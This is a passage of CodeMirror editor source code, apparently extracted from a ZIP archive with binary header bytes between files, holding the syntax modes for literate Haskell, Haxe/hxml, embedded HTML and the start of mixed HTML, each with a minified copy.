      startState: function () {
        return {
          inCode: false,
          baseState: CodeMirror.startState(baseMode)
        }
      },
      token: function (stream, state) {
        if (stream.sol()) {
          if (state.inCode = stream.eat(">"))
            return "meta"
        }
        if (state.inCode) {
          return baseMode.token(stream, state.baseState)
        } else {
          stream.skipToEnd()
          return "comment"
        }
      },
      innerMode: function (state) {
        return state.inCode ? {state: state.baseState, mode: baseMode} :
null
      }
    }
  }, "haskell")

  CodeMirror.defineMIME("text/x-literate-haskell",
"haskell-literate")
});
PKE��[��$��8codemirror/mode/haskell-literate/haskell-literate.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("../haskell/haskell")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","../haskell/haskell"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("haskell-literate",(function(b,c){var
d=a.getMode(b,c&&c.base||"haskell");return{startState:function(){return{inCode:!1,baseState:a.startState(d)}},token:function(a,b){return
a.sol()&&(b.inCode=a.eat(">"))?"meta":b.inCode?d.token(a,b.baseState):(a.skipToEnd(),"comment")},innerMode:function(a){return
a.inCode?{state:a.baseState,mode:d}:null}}}),"haskell"),a.defineMIME("text/x-literate-haskell","haskell-literate")}));PKE��[����D�Dcodemirror/mode/haxe/haxe.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("haxe", function(config, parserConfig) {
  var indentUnit = config.indentUnit;

  // Tokenizer

  function kw(type) {return {type: type, style: "keyword"};}
  var A = kw("keyword a"), B = kw("keyword b"), C =
kw("keyword c");
  var operator = kw("operator"), atom = {type: "atom",
style: "atom"}, attribute = {type:"attribute", style:
"attribute"};
  var type = kw("typedef");
  var keywords = {
    "if": A, "while": A, "else": B,
"do": B, "try": B,
    "return": C, "break": C, "continue": C,
"new": C, "throw": C,
    "var": kw("var"), "inline":attribute,
"static": attribute, "using":kw("import"),
    "public": attribute, "private": attribute,
"cast": kw("cast"), "import":
kw("import"), "macro": kw("macro"),
    "function": kw("function"), "catch":
kw("catch"), "untyped": kw("untyped"),
"callback": kw("cb"),
    "for": kw("for"), "switch":
kw("switch"), "case": kw("case"),
"default": kw("default"),
    "in": operator, "never":
kw("property_access"), "trace":kw("trace"),
    "class": type, "abstract":type,
"enum":type, "interface":type,
"typedef":type, "extends":type,
"implements":type, "dynamic":type,
    "true": atom, "false": atom, "null": atom
  };

  var isOperatorChar = /[+\-*&%=<>!?|]/;

  function chain(stream, state, f) {
    state.tokenize = f;
    return f(stream, state);
  }

  function toUnescaped(stream, end) {
    var escaped = false, next;
    while ((next = stream.next()) != null) {
      if (next == end && !escaped)
        return true;
      escaped = !escaped && next == "\\";
    }
  }

  // Used as scratch variables to communicate multiple values without
  // consing up tons of objects.
  var type, content;
  function ret(tp, style, cont) {
    type = tp; content = cont;
    return style;
  }

  function haxeTokenBase(stream, state) {
    var ch = stream.next();
    if (ch == '"' || ch == "'") {
      return chain(stream, state, haxeTokenString(ch));
    } else if (/[\[\]{}\(\),;\:\.]/.test(ch)) {
      return ret(ch);
    } else if (ch == "0" && stream.eat(/x/i)) {
      stream.eatWhile(/[\da-f]/i);
      return ret("number", "number");
    } else if (/\d/.test(ch) || ch == "-" &&
stream.eat(/\d/)) {
      stream.match(/^\d*(?:\.\d*(?!\.))?(?:[eE][+\-]?\d+)?/);
      return ret("number", "number");
    } else if (state.reAllowed && (ch == "~" &&
stream.eat(/\//))) {
      toUnescaped(stream, "/");
      stream.eatWhile(/[gimsu]/);
      return ret("regexp", "string-2");
    } else if (ch == "/") {
      if (stream.eat("*")) {
        return chain(stream, state, haxeTokenComment);
      } else if (stream.eat("/")) {
        stream.skipToEnd();
        return ret("comment", "comment");
      } else {
        stream.eatWhile(isOperatorChar);
        return ret("operator", null, stream.current());
      }
    } else if (ch == "#") {
        stream.skipToEnd();
        return ret("conditional", "meta");
    } else if (ch == "@") {
      stream.eat(/:/);
      stream.eatWhile(/[\w_]/);
      return ret ("metadata", "meta");
    } else if (isOperatorChar.test(ch)) {
      stream.eatWhile(isOperatorChar);
      return ret("operator", null, stream.current());
    } else {
      var word;
      if(/[A-Z]/.test(ch)) {
        stream.eatWhile(/[\w_<>]/);
        word = stream.current();
        return ret("type", "variable-3", word);
      } else {
        stream.eatWhile(/[\w_]/);
        var word = stream.current(), known =
keywords.propertyIsEnumerable(word) && keywords[word];
        return (known && state.kwAllowed) ? ret(known.type,
known.style, word) :
                       ret("variable", "variable",
word);
      }
    }
  }

  function haxeTokenString(quote) {
    return function(stream, state) {
      if (toUnescaped(stream, quote))
        state.tokenize = haxeTokenBase;
      return ret("string", "string");
    };
  }

  function haxeTokenComment(stream, state) {
    var maybeEnd = false, ch;
    while (ch = stream.next()) {
      if (ch == "/" && maybeEnd) {
        state.tokenize = haxeTokenBase;
        break;
      }
      maybeEnd = (ch == "*");
    }
    return ret("comment", "comment");
  }

  // Parser

  var atomicTypes = {"atom": true, "number": true,
"variable": true, "string": true, "regexp":
true};

  function HaxeLexical(indented, column, type, align, prev, info) {
    this.indented = indented;
    this.column = column;
    this.type = type;
    this.prev = prev;
    this.info = info;
    if (align != null) this.align = align;
  }

  function inScope(state, varname) {
    for (var v = state.localVars; v; v = v.next)
      if (v.name == varname) return true;
  }

  function parseHaxe(state, style, type, content, stream) {
    var cc = state.cc;
    // Communicate our context to the combinators.
    // (Less wasteful than consing up a hundred closures on every call.)
    cx.state = state; cx.stream = stream; cx.marked = null, cx.cc = cc;

    if (!state.lexical.hasOwnProperty("align"))
      state.lexical.align = true;

    while(true) {
      var combinator = cc.length ? cc.pop() : statement;
      if (combinator(type, content)) {
        while(cc.length && cc[cc.length - 1].lex)
          cc.pop()();
        if (cx.marked) return cx.marked;
        if (type == "variable" && inScope(state,
content)) return "variable-2";
        if (type == "variable" && imported(state,
content)) return "variable-3";
        return style;
      }
    }
  }

  function imported(state, typename) {
    if (/[a-z]/.test(typename.charAt(0)))
      return false;
    var len = state.importedtypes.length;
    for (var i = 0; i<len; i++)
      if(state.importedtypes[i]==typename) return true;
  }

  function registerimport(importname) {
    var state = cx.state;
    for (var t = state.importedtypes; t; t = t.next)
      if(t.name == importname) return;
    state.importedtypes = { name: importname, next: state.importedtypes };
  }
  // Combinator utils

  var cx = {state: null, column: null, marked: null, cc: null};
  function pass() {
    for (var i = arguments.length - 1; i >= 0; i--)
cx.cc.push(arguments[i]);
  }
  function cont() {
    pass.apply(null, arguments);
    return true;
  }
  function inList(name, list) {
    for (var v = list; v; v = v.next)
      if (v.name == name) return true;
    return false;
  }
  function register(varname) {
    var state = cx.state;
    if (state.context) {
      cx.marked = "def";
      if (inList(varname, state.localVars)) return;
      state.localVars = {name: varname, next: state.localVars};
    } else if (state.globalVars) {
      if (inList(varname, state.globalVars)) return;
      state.globalVars = {name: varname, next: state.globalVars};
    }
  }

  // Combinators

  var defaultVars = {name: "this", next: null};
  function pushcontext() {
    if (!cx.state.context) cx.state.localVars = defaultVars;
    cx.state.context = {prev: cx.state.context, vars: cx.state.localVars};
  }
  function popcontext() {
    cx.state.localVars = cx.state.context.vars;
    cx.state.context = cx.state.context.prev;
  }
  popcontext.lex = true;
  function pushlex(type, info) {
    var result = function() {
      var state = cx.state;
      state.lexical = new HaxeLexical(state.indented, cx.stream.column(),
type, null, state.lexical, info);
    };
    result.lex = true;
    return result;
  }
  function poplex() {
    var state = cx.state;
    if (state.lexical.prev) {
      if (state.lexical.type == ")")
        state.indented = state.lexical.indented;
      state.lexical = state.lexical.prev;
    }
  }
  poplex.lex = true;

  function expect(wanted) {
    function f(type) {
      if (type == wanted) return cont();
      else if (wanted == ";") return pass();
      else return cont(f);
    }
    return f;
  }

  function statement(type) {
    if (type == "@") return cont(metadef);
    if (type == "var") return cont(pushlex("vardef"),
vardef1, expect(";"), poplex);
    if (type == "keyword a") return
cont(pushlex("form"), expression, statement, poplex);
    if (type == "keyword b") return
cont(pushlex("form"), statement, poplex);
    if (type == "{") return cont(pushlex("}"),
pushcontext, block, poplex, popcontext);
    if (type == ";") return cont();
    if (type == "attribute") return cont(maybeattribute);
    if (type == "function") return cont(functiondef);
    if (type == "for") return cont(pushlex("form"),
expect("("), pushlex(")"), forspec1,
expect(")"),
                                   poplex, statement, poplex);
    if (type == "variable") return
cont(pushlex("stat"), maybelabel);
    if (type == "switch") return cont(pushlex("form"),
expression, pushlex("}", "switch"),
expect("{"),
                                      block, poplex, poplex);
    if (type == "case") return cont(expression,
expect(":"));
    if (type == "default") return cont(expect(":"));
    if (type == "catch") return cont(pushlex("form"),
pushcontext, expect("("), funarg, expect(")"),
                                     statement, poplex, popcontext);
    if (type == "import") return cont(importdef,
expect(";"));
    if (type == "typedef") return cont(typedef);
    return pass(pushlex("stat"), expression,
expect(";"), poplex);
  }
  function expression(type) {
    if (atomicTypes.hasOwnProperty(type)) return cont(maybeoperator);
    if (type == "type" ) return cont(maybeoperator);
    if (type == "function") return cont(functiondef);
    if (type == "keyword c") return cont(maybeexpression);
    if (type == "(") return cont(pushlex(")"),
maybeexpression, expect(")"), poplex, maybeoperator);
    if (type == "operator") return cont(expression);
    if (type == "[") return cont(pushlex("]"),
commasep(maybeexpression, "]"), poplex, maybeoperator);
    if (type == "{") return cont(pushlex("}"),
commasep(objprop, "}"), poplex, maybeoperator);
    return cont();
  }
  function maybeexpression(type) {
    if (type.match(/[;\}\)\],]/)) return pass();
    return pass(expression);
  }

  function maybeoperator(type, value) {
    if (type == "operator" && /\+\+|--/.test(value))
return cont(maybeoperator);
    if (type == "operator" || type == ":") return
cont(expression);
    if (type == ";") return;
    if (type == "(") return cont(pushlex(")"),
commasep(expression, ")"), poplex, maybeoperator);
    if (type == ".") return cont(property, maybeoperator);
    if (type == "[") return cont(pushlex("]"),
expression, expect("]"), poplex, maybeoperator);
  }

  function maybeattribute(type) {
    if (type == "attribute") return cont(maybeattribute);
    if (type == "function") return cont(functiondef);
    if (type == "var") return cont(vardef1);
  }

  function metadef(type) {
    if(type == ":") return cont(metadef);
    if(type == "variable") return cont(metadef);
    if(type == "(") return cont(pushlex(")"),
commasep(metaargs, ")"), poplex, statement);
  }
  function metaargs(type) {
    if(type == "variable") return cont();
  }

  function importdef (type, value) {
    if(type == "variable" &&
/[A-Z]/.test(value.charAt(0))) { registerimport(value); return cont(); }
    else if(type == "variable" || type == "property" ||
type == "." || value == "*") return cont(importdef);
  }

  function typedef (type, value)
  {
    if(type == "variable" &&
/[A-Z]/.test(value.charAt(0))) { registerimport(value); return cont(); }
    else if (type == "type" &&
/[A-Z]/.test(value.charAt(0))) { return cont(); }
  }

  function maybelabel(type) {
    if (type == ":") return cont(poplex, statement);
    return pass(maybeoperator, expect(";"), poplex);
  }
  function property(type) {
    if (type == "variable") {cx.marked = "property";
return cont();}
  }
  function objprop(type) {
    if (type == "variable") cx.marked = "property";
    if (atomicTypes.hasOwnProperty(type)) return
cont(expect(":"), expression);
  }
  function commasep(what, end) {
    function proceed(type) {
      if (type == ",") return cont(what, proceed);
      if (type == end) return cont();
      return cont(expect(end));
    }
    return function(type) {
      if (type == end) return cont();
      else return pass(what, proceed);
    };
  }
  function block(type) {
    if (type == "}") return cont();
    return pass(statement, block);
  }
  function vardef1(type, value) {
    if (type == "variable"){register(value); return cont(typeuse,
vardef2);}
    return cont();
  }
  function vardef2(type, value) {
    if (value == "=") return cont(expression, vardef2);
    if (type == ",") return cont(vardef1);
  }
  function forspec1(type, value) {
    if (type == "variable") {
      register(value);
      return cont(forin, expression)
    } else {
      return pass()
    }
  }
  function forin(_type, value) {
    if (value == "in") return cont();
  }
  function functiondef(type, value) {
    //function names starting with upper-case letters are recognised as
types, so cludging them together here.
    if (type == "variable" || type == "type")
{register(value); return cont(functiondef);}
    if (value == "new") return cont(functiondef);
    if (type == "(") return cont(pushlex(")"),
pushcontext, commasep(funarg, ")"), poplex, typeuse, statement,
popcontext);
  }
  function typeuse(type) {
    if(type == ":") return cont(typestring);
  }
  function typestring(type) {
    if(type == "type") return cont();
    if(type == "variable") return cont();
    if(type == "{") return cont(pushlex("}"),
commasep(typeprop, "}"), poplex);
  }
  function typeprop(type) {
    if(type == "variable") return cont(typeuse);
  }
  function funarg(type, value) {
    if (type == "variable") {register(value); return
cont(typeuse);}
  }

  // Interface
  return {
    startState: function(basecolumn) {
      var defaulttypes = ["Int", "Float",
"String", "Void", "Std", "Bool",
"Dynamic", "Array"];
      var state = {
        tokenize: haxeTokenBase,
        reAllowed: true,
        kwAllowed: true,
        cc: [],
        lexical: new HaxeLexical((basecolumn || 0) - indentUnit, 0,
"block", false),
        localVars: parserConfig.localVars,
        importedtypes: defaulttypes,
        context: parserConfig.localVars && {vars:
parserConfig.localVars},
        indented: 0
      };
      if (parserConfig.globalVars && typeof parserConfig.globalVars
== "object")
        state.globalVars = parserConfig.globalVars;
      return state;
    },

    token: function(stream, state) {
      if (stream.sol()) {
        if (!state.lexical.hasOwnProperty("align"))
          state.lexical.align = false;
        state.indented = stream.indentation();
      }
      if (stream.eatSpace()) return null;
      var style = state.tokenize(stream, state);
      if (type == "comment") return style;
      state.reAllowed = !!(type == "operator" || type ==
"keyword c" || type.match(/^[\[{}\(,;:]$/));
      state.kwAllowed = type != '.';
      return parseHaxe(state, style, type, content, stream);
    },

    indent: function(state, textAfter) {
      if (state.tokenize != haxeTokenBase) return 0;
      var firstChar = textAfter && textAfter.charAt(0), lexical =
state.lexical;
      if (lexical.type == "stat" && firstChar ==
"}") lexical = lexical.prev;
      var type = lexical.type, closing = firstChar == type;
      if (type == "vardef") return lexical.indented + 4;
      else if (type == "form" && firstChar ==
"{") return lexical.indented;
      else if (type == "stat" || type == "form") return
lexical.indented + indentUnit;
      else if (lexical.info == "switch" && !closing)
        return lexical.indented + (/^(?:case|default)\b/.test(textAfter) ?
indentUnit : 2 * indentUnit);
      else if (lexical.align) return lexical.column + (closing ? 0 : 1);
      else return lexical.indented + (closing ? 0 : indentUnit);
    },

    electricChars: "{}",
    blockCommentStart: "/*",
    blockCommentEnd: "*/",
    lineComment: "//"
  };
});

CodeMirror.defineMIME("text/x-haxe", "haxe");

CodeMirror.defineMode("hxml", function () {

  return {
    startState: function () {
      return {
        define: false,
        inString: false
      };
    },
    token: function (stream, state) {
      var ch = stream.peek();
      var sol = stream.sol();

      ///* comments */
      if (ch == "#") {
        stream.skipToEnd();
        return "comment";
      }
      if (sol && ch == "-") {
        var style = "variable-2";

        stream.eat(/-/);

        if (stream.peek() == "-") {
          stream.eat(/-/);
          style = "keyword a";
        }

        if (stream.peek() == "D") {
          stream.eat(/[D]/);
          style = "keyword c";
          state.define = true;
        }

        stream.eatWhile(/[A-Z]/i);
        return style;
      }

      var ch = stream.peek();

      if (state.inString == false && ch == "'") {
        state.inString = true;
        stream.next();
      }

      if (state.inString == true) {
        if (stream.skipTo("'")) {

        } else {
          stream.skipToEnd();
        }

        if (stream.peek() == "'") {
          stream.next();
          state.inString = false;
        }

        return "string";
      }

      stream.next();
      return null;
    },
    lineComment: "#"
  };
});

CodeMirror.defineMIME("text/x-hxml", "hxml");

});
PKH��[��	  
codemirror/mode/haxe/haxe.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("haxe",(function(a,b){function
c(a){return{type:a,style:"keyword"}}function d(a,b,c){return
b.tokenize=c,c(a,b)}function e(a,b){for(var
c,d=!1;null!=(c=a.next());){if(c==b&&!d)return!0;d=!d&&"\\"==c}}function
f(a,b,c){return U=a,V=c,b}function g(a,b){var
c=a.next();if('"'==c||"'"==c)return
d(a,b,h(c));if(/[\[\]{}\(\),;\:\.]/.test(c))return
f(c);if("0"==c&&a.eat(/x/i))return
a.eatWhile(/[\da-f]/i),f("number","number");if(/\d/.test(c)||"-"==c&&a.eat(/\d/))return
a.match(/^\d*(?:\.\d*(?!\.))?(?:[eE][+\-]?\d+)?/),f("number","number");if(b.reAllowed&&"~"==c&&a.eat(/\//))return
e(a,"/"),a.eatWhile(/[gimsu]/),f("regexp","string-2");if("/"==c)return
a.eat("*")?d(a,b,i):a.eat("/")?(a.skipToEnd(),f("comment","comment")):(a.eatWhile(ca),f("operator",null,a.current()));if("#"==c)return
a.skipToEnd(),f("conditional","meta");if("@"==c)return
a.eat(/:/),a.eatWhile(/[\w_]/),f("metadata","meta");if(ca.test(c))return
a.eatWhile(ca),f("operator",null,a.current());var
g;if(/[A-Z]/.test(c))return
a.eatWhile(/[\w_<>]/),g=a.current(),f("type","variable-3",g);a.eatWhile(/[\w_]/);var
g=a.current(),j=ba.propertyIsEnumerable(g)&&ba[g];return
j&&b.kwAllowed?f(j.type,j.style,g):f("variable","variable",g)}function
h(a){return function(b,c){return
e(b,a)&&(c.tokenize=g),f("string","string")}}function
i(a,b){for(var
c,d=!1;c=a.next();){if("/"==c&&d){b.tokenize=g;break}d="*"==c}return
f("comment","comment")}function
j(a,b,c,d,e,f){this.indented=a,this.column=b,this.type=c,this.prev=e,this.info=f,null!=d&&(this.align=d)}function
k(a,b){for(var c=a.localVars;c;c=c.next)if(c.name==b)return!0}function
l(a,b,c,d,e){var
f=a.cc;for(ea.state=a,ea.stream=e,ea.marked=null,ea.cc=f,a.lexical.hasOwnProperty("align")||(a.lexical.align=!0);;){if((f.length?f.pop():x)(c,d)){for(;f.length&&f[f.length-1].lex;)f.pop()();return
ea.marked?ea.marked:"variable"==c&&k(a,d)?"variable-2":"variable"==c&&m(a,d)?"variable-3":b}}}function
m(a,b){if(/[a-z]/.test(b.charAt(0)))return!1;for(var
c=a.importedtypes.length,d=0;d<c;d++)if(a.importedtypes[d]==b)return!0}function
n(a){for(var
b=ea.state,c=b.importedtypes;c;c=c.next)if(c.name==a)return;b.importedtypes={name:a,next:b.importedtypes}}function
o(){for(var
a=arguments.length-1;a>=0;a--)ea.cc.push(arguments[a])}function
p(){return o.apply(null,arguments),!0}function q(a,b){for(var
c=b;c;c=c.next)if(c.name==a)return!0;return!1}function r(a){var
b=ea.state;if(b.context){if(ea.marked="def",q(a,b.localVars))return;b.localVars={name:a,next:b.localVars}}else
if(b.globalVars){if(q(a,b.globalVars))return;b.globalVars={name:a,next:b.globalVars}}}function
s(){ea.state.context||(ea.state.localVars=fa),ea.state.context={prev:ea.state.context,vars:ea.state.localVars}}function
t(){ea.state.localVars=ea.state.context.vars,ea.state.context=ea.state.context.prev}function
u(a,b){var c=function(){var c=ea.state;c.lexical=new
j(c.indented,ea.stream.column(),a,null,c.lexical,b)};return
c.lex=!0,c}function v(){var
a=ea.state;a.lexical.prev&&(")"==a.lexical.type&&(a.indented=a.lexical.indented),a.lexical=a.lexical.prev)}function
w(a){function b(c){return c==a?p():";"==a?o():p(b)}return
b}function
x(a){return"@"==a?p(C):"var"==a?p(u("vardef"),L,w(";"),v):"keyword
a"==a?p(u("form"),y,x,v):"keyword
b"==a?p(u("form"),x,v):"{"==a?p(u("}"),s,K,v,t):";"==a?p():"attribute"==a?p(B):"function"==a?p(P):"for"==a?p(u("form"),w("("),u(")"),N,w(")"),v,x,v):"variable"==a?p(u("stat"),G):"switch"==a?p(u("form"),y,u("}","switch"),w("{"),K,v,v):"case"==a?p(y,w(":")):"default"==a?p(w(":")):"catch"==a?p(u("form"),s,w("("),T,w(")"),x,v,t):"import"==a?p(E,w(";")):"typedef"==a?p(F):o(u("stat"),y,w(";"),v)}function
y(a){return
da.hasOwnProperty(a)?p(A):"type"==a?p(A):"function"==a?p(P):"keyword
c"==a?p(z):"("==a?p(u(")"),z,w(")"),v,A):"operator"==a?p(y):"["==a?p(u("]"),J(z,"]"),v,A):"{"==a?p(u("}"),J(I,"}"),v,A):p()}function
z(a){return a.match(/[;\}\)\],]/)?o():o(y)}function
A(a,b){if("operator"==a&&/\+\+|--/.test(b))return
p(A);if("operator"==a||":"==a)return
p(y);if(";"!=a)return"("==a?p(u(")"),J(y,")"),v,A):"."==a?p(H,A):"["==a?p(u("]"),y,w("]"),v,A):void
0}function
B(a){return"attribute"==a?p(B):"function"==a?p(P):"var"==a?p(L):void
0}function
C(a){return":"==a?p(C):"variable"==a?p(C):"("==a?p(u(")"),J(D,")"),v,x):void
0}function D(a){if("variable"==a)return p()}function
E(a,b){return"variable"==a&&/[A-Z]/.test(b.charAt(0))?(n(b),p()):"variable"==a||"property"==a||"."==a||"*"==b?p(E):void
0}function
F(a,b){return"variable"==a&&/[A-Z]/.test(b.charAt(0))?(n(b),p()):"type"==a&&/[A-Z]/.test(b.charAt(0))?p():void
0}function
G(a){return":"==a?p(v,x):o(A,w(";"),v)}function
H(a){if("variable"==a)return
ea.marked="property",p()}function
I(a){if("variable"==a&&(ea.marked="property"),da.hasOwnProperty(a))return
p(w(":"),y)}function J(a,b){function
c(d){return","==d?p(a,c):d==b?p():p(w(b))}return
function(d){return d==b?p():o(a,c)}}function
K(a){return"}"==a?p():o(x,K)}function
L(a,b){return"variable"==a?(r(b),p(Q,M)):p()}function
M(a,b){return"="==b?p(y,M):","==a?p(L):void 0}function
N(a,b){return"variable"==a?(r(b),p(O,y)):o()}function
O(a,b){if("in"==b)return p()}function
P(a,b){return"variable"==a||"type"==a?(r(b),p(P)):"new"==b?p(P):"("==a?p(u(")"),s,J(T,")"),v,Q,x,t):void
0}function Q(a){if(":"==a)return p(R)}function
R(a){return"type"==a?p():"variable"==a?p():"{"==a?p(u("}"),J(S,"}"),v):void
0}function S(a){if("variable"==a)return p(Q)}function
T(a,b){if("variable"==a)return r(b),p(Q)}var
U,V,W=a.indentUnit,X=c("keyword a"),Y=c("keyword
b"),Z=c("keyword
c"),$=c("operator"),_={type:"atom",style:"atom"},aa={type:"attribute",style:"attribute"},U=c("typedef"),ba={if:X,while:X,else:Y,do:Y,try:Y,return:Z,break:Z,continue:Z,new:Z,throw:Z,var:c("var"),inline:aa,static:aa,using:c("import"),public:aa,private:aa,cast:c("cast"),import:c("import"),macro:c("macro"),function:c("function"),catch:c("catch"),untyped:c("untyped"),callback:c("cb"),for:c("for"),switch:c("switch"),case:c("case"),default:c("default"),in:$,never:c("property_access"),trace:c("trace"),class:U,abstract:U,enum:U,interface:U,typedef:U,extends:U,implements:U,dynamic:U,true:_,false:_,null:_},ca=/[+\-*&%=<>!?|]/,da={atom:!0,number:!0,variable:!0,string:!0,regexp:!0},ea={state:null,column:null,marked:null,cc:null},fa={name:"this",next:null};return
t.lex=!0,v.lex=!0,{startState:function(a){var
c=["Int","Float","String","Void","Std","Bool","Dynamic","Array"],d={tokenize:g,reAllowed:!0,kwAllowed:!0,cc:[],lexical:new
j((a||0)-W,0,"block",!1),localVars:b.localVars,importedtypes:c,context:b.localVars&&{vars:b.localVars},indented:0};return
b.globalVars&&"object"==typeof
b.globalVars&&(d.globalVars=b.globalVars),d},token:function(a,b){if(a.sol()&&(b.lexical.hasOwnProperty("align")||(b.lexical.align=!1),b.indented=a.indentation()),a.eatSpace())return
null;var
c=b.tokenize(a,b);return"comment"==U?c:(b.reAllowed=!("operator"!=U&&"keyword
c"!=U&&!U.match(/^[\[{}\(,;:]$/)),b.kwAllowed="."!=U,l(b,c,U,V,a))},indent:function(a,b){if(a.tokenize!=g)return
0;var
c=b&&b.charAt(0),d=a.lexical;"stat"==d.type&&"}"==c&&(d=d.prev);var
e=d.type,f=c==e;return"vardef"==e?d.indented+4:"form"==e&&"{"==c?d.indented:"stat"==e||"form"==e?d.indented+W:"switch"!=d.info||f?d.align?d.column+(f?0:1):d.indented+(f?0:W):d.indented+(/^(?:case|default)\b/.test(b)?W:2*W)},electricChars:"{}",blockCommentStart:"/*",blockCommentEnd:"*/",lineComment:"//"}})),a.defineMIME("text/x-haxe","haxe"),a.defineMode("hxml",(function(){return{startState:function(){return{define:!1,inString:!1}},token:function(a,b){var
c=a.peek(),d=a.sol();if("#"==c)return
a.skipToEnd(),"comment";if(d&&"-"==c){var
e="variable-2";return
a.eat(/-/),"-"==a.peek()&&(a.eat(/-/),e="keyword
a"),"D"==a.peek()&&(a.eat(/[D]/),e="keyword
c",b.define=!0),a.eatWhile(/[A-Z]/i),e}var c=a.peek();return
0==b.inString&&"'"==c&&(b.inString=!0,a.next()),1==b.inString?(a.skipTo("'")||a.skipToEnd(),"'"==a.peek()&&(a.next(),b.inString=!1),"string"):(a.next(),null)},lineComment:"#"}})),a.defineMIME("text/x-hxml","hxml")}));PKH��[�����,codemirror/mode/htmlembedded/htmlembedded.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("../htmlmixed/htmlmixed"),
        require("../../addon/mode/multiplex"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror",
"../htmlmixed/htmlmixed",
            "../../addon/mode/multiplex"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineMode("htmlembedded", function(config,
parserConfig) {
    var closeComment = parserConfig.closeComment || "--%>"
    return CodeMirror.multiplexingMode(CodeMirror.getMode(config,
"htmlmixed"), {
      open: parserConfig.openComment || "<%--",
      close: closeComment,
      delimStyle: "comment",
      mode: {token: function(stream) {
        stream.skipTo(closeComment) || stream.skipToEnd()
        return "comment"
      }}
    }, {
      open: parserConfig.open || parserConfig.scriptStartRegex ||
"<%",
      close: parserConfig.close || parserConfig.scriptEndRegex ||
"%>",
      mode: CodeMirror.getMode(config, parserConfig.scriptingModeSpec)
    });
  }, "htmlmixed");

  CodeMirror.defineMIME("application/x-ejs", {name:
"htmlembedded", scriptingModeSpec:"javascript"});
  CodeMirror.defineMIME("application/x-aspx", {name:
"htmlembedded", scriptingModeSpec:"text/x-csharp"});
  CodeMirror.defineMIME("application/x-jsp", {name:
"htmlembedded", scriptingModeSpec:"text/x-java"});
  CodeMirror.defineMIME("application/x-erb", {name:
"htmlembedded", scriptingModeSpec:"ruby"});
});
PKH��[�"&�110codemirror/mode/htmlembedded/htmlembedded.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("../htmlmixed/htmlmixed"),require("../../addon/mode/multiplex")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","../htmlmixed/htmlmixed","../../addon/mode/multiplex"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("htmlembedded",(function(b,c){var
d=c.closeComment||"--%>";return
a.multiplexingMode(a.getMode(b,"htmlmixed"),{open:c.openComment||"<%--",close:d,delimStyle:"comment",mode:{token:function(a){return
a.skipTo(d)||a.skipToEnd(),"comment"}}},{open:c.open||c.scriptStartRegex||"<%",close:c.close||c.scriptEndRegex||"%>",mode:a.getMode(b,c.scriptingModeSpec)})}),"htmlmixed"),a.defineMIME("application/x-ejs",{name:"htmlembedded",scriptingModeSpec:"javascript"}),a.defineMIME("application/x-aspx",{name:"htmlembedded",scriptingModeSpec:"text/x-csharp"}),a.defineMIME("application/x-jsp",{name:"htmlembedded",scriptingModeSpec:"text/x-java"}),a.defineMIME("application/x-erb",{name:"htmlembedded",scriptingModeSpec:"ruby"})}));PKH��[��N��&codemirror/mode/htmlmixed/htmlmixed.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("../xml/xml"),
require("../javascript/javascript"),
require("../css/css"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror", "../xml/xml",
"../javascript/javascript", "../css/css"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var defaultTags = {
    script: [
      ["lang", /(javascript|babel)/i, "javascript"],
      ["type",
/^(?:text|application)\/(?:x-)?(?:java|ecma)script$|^module$|^$/i,
"javascript"],
      ["type", /./, "text/plain"],
      [null, null, "javascript"]
    ],
    style:  [
      ["lang", /^css$/i, "css"],
      ["type", /^(text\/)?(x-)?(stylesheet|css)$/i,
"css"],
      ["type", /./, "text/plain"],
      [null, null, "css"]
    ]
  };

  function maybeBackup(stream, pat, style) {
    var cur = stream.current(), close = cur.search(pat);
    if (close > -1) {
      stream.backUp(cur.length - close);
    } else if (cur.match(/<\/?$/)) {
      stream.backUp(cur.length);
      if (!stream.match(pat, false)) stream.match(cur);
    }
    return style;
  }

  var attrRegexpCache = {};
  function getAttrRegexp(attr) {
    var regexp = attrRegexpCache[attr];
    if (regexp) return regexp;
    return attrRegexpCache[attr] = new RegExp("\\s+" + attr +
"\\s*=\\s*('|\")?([^'\"]+)('|\")?\\s*");
  }

  function getAttrValue(text, attr) {
    var match = text.match(getAttrRegexp(attr))
    return match ? /^\s*(.*?)\s*$/.exec(match[2])[1] : ""
  }

  function getTagRegexp(tagName, anchored) {
    return new RegExp((anchored ? "^" : "") +
"<\/\s*" + tagName + "\s*>", "i");
  }

  function addTags(from, to) {
    for (var tag in from) {
      var dest = to[tag] || (to[tag] = []);
      var source = from[tag];
      for (var i = source.length - 1; i >= 0; i--)
        dest.unshift(source[i])
    }
  }

  function findMatchingMode(tagInfo, tagText) {
    for (var i = 0; i < tagInfo.length; i++) {
      var spec = tagInfo[i];
